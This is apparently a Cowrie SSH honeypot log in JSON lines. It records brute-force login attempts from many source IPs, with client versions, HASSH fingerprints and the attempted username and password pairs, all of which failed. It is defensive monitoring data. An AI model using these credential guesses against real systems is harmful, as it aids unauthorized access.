{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:44.332207Z","src_ip":"103.97.101.25","session":"ee8d8d3608e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsxCDE#","message":"login attempt [root/zaq12wsxCDE#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:45.311482Z","src_ip":"103.97.101.25","session":"ee8d8d3608e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:46.550721Z","src_ip":"103.97.101.25","session":"ee8d8d3608e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.121.102.3","src_port":60890,"dst_ip":"10.17.0.5","dst_port":22,"session":"edc0d84ae561","protocol":"ssh","message":"New connection: 129.121.102.3:60890 (10.17.0.5:22) [session: edc0d84ae561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:55.099221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:55.105032Z","src_ip":"129.121.102.3","session":"edc0d84ae561","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:55.129134Z","src_ip":"129.121.102.3","session":"edc0d84ae561","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qazwsx","message":"login attempt [test/qazwsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:55.267697Z","src_ip":"129.121.102.3","session":"edc0d84ae561","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:56.296130Z","src_ip":"129.121.102.3","session":"edc0d84ae561","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":58082,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ec2b471ff8f","protocol":"ssh","message":"New connection: 143.20.185.207:58082 (10.17.0.5:22) [session: 4ec2b471ff8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:57.024662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:57.028709Z","src_ip":"143.20.185.207","session":"4ec2b471ff8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:57.142652Z","src_ip":"143.20.185.207","session":"4ec2b471ff8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSA#4VCPU8GBAMD","message":"login attempt [root/RASYAXINSA#4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:57.503201Z","src_ip":"143.20.185.207","session":"4ec2b471ff8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:39:58.618442Z","src_ip":"143.20.185.207","session":"4ec2b471ff8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44968,"dst_ip":"10.17.0.5","dst_port":22,"session":"84840088e7d0","protocol":"ssh","message":"New connection: 8.210.75.243:44968 (10.17.0.5:22) [session: 84840088e7d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:08.800811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:08.804962Z","src_ip":"8.210.75.243","session":"84840088e7d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.57.219.18","src_port":58332,"dst_ip":"10.17.0.5","dst_port":22,"session":"595d291cc93b","protocol":"ssh","message":"New connection: 198.57.219.18:58332 (10.17.0.5:22) [session: 595d291cc93b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:16.588571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:16.592620Z","src_ip":"198.57.219.18","session":"595d291cc93b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":33554,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1908571ce27","protocol":"ssh","message":"New connection: 91.92.40.13:33554 (159.203.135.109:22) [session: b1908571ce27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:17.134233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:17.195921Z","src_ip":"91.92.40.13","session":"b1908571ce27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:17.215502Z","src_ip":"198.57.219.18","session":"595d291cc93b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:17.241060Z","src_ip":"91.92.40.13","session":"b1908571ce27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.116.101.220","src_port":34444,"dst_ip":"159.203.135.109","dst_port":22,"session":"71758eda36bd","protocol":"ssh","message":"New connection: 18.116.101.220:34444 (159.203.135.109:22) [session: 71758eda36bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:17.612741Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:17.615824Z","src_ip":"18.116.101.220","session":"71758eda36bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:17.619814Z","src_ip":"18.116.101.220","session":"71758eda36bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:17.649333Z","src_ip":"91.92.40.13","session":"b1908571ce27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bybit456","message":"login attempt [root/bybit456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:18.525357Z","src_ip":"198.57.219.18","session":"595d291cc93b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:18.758924Z","src_ip":"91.92.40.13","session":"b1908571ce27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:19.688914Z","src_ip":"198.57.219.18","session":"595d291cc93b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.207.224.247","src_port":55346,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cf5bbae67ec","protocol":"ssh","message":"New connection: 68.207.224.247:55346 (159.203.135.109:22) [session: 2cf5bbae67ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:24.808663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:24.813452Z","src_ip":"68.207.224.247","session":"2cf5bbae67ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:24.851594Z","src_ip":"68.207.224.247","session":"2cf5bbae67ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"phrozen87","message":"login attempt [root/phrozen87] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:25.025585Z","src_ip":"68.207.224.247","session":"2cf5bbae67ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.94.68.69","src_port":47118,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f8f58587e42","protocol":"ssh","message":"New connection: 45.94.68.69:47118 (159.203.135.109:22) [session: 7f8f58587e42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:25.318320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:25.322507Z","src_ip":"45.94.68.69","session":"7f8f58587e42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:25.559984Z","src_ip":"45.94.68.69","session":"7f8f58587e42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:26.068354Z","src_ip":"68.207.224.247","session":"2cf5bbae67ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sam123","message":"login attempt [root/sam123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:26.506045Z","src_ip":"45.94.68.69","session":"7f8f58587e42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.51.138","src_port":37052,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ed076301ba6","protocol":"ssh","message":"New connection: 147.45.51.138:37052 (10.17.0.5:22) [session: 8ed076301ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:27.472570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:27.476564Z","src_ip":"147.45.51.138","session":"8ed076301ba6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:27.564993Z","src_ip":"147.45.51.138","session":"8ed076301ba6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:27.733454Z","src_ip":"45.94.68.69","session":"7f8f58587e42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AAAAAAAA","message":"login attempt [root/AAAAAAAA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:27.957636Z","src_ip":"147.45.51.138","session":"8ed076301ba6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:29.048951Z","src_ip":"147.45.51.138","session":"8ed076301ba6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":35092,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebd2722aeb8f","protocol":"ssh","message":"New connection: 139.59.208.49:35092 (10.17.0.5:22) [session: ebd2722aeb8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:29.285412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:29.289598Z","src_ip":"139.59.208.49","session":"ebd2722aeb8f","protocol":"ssh"}
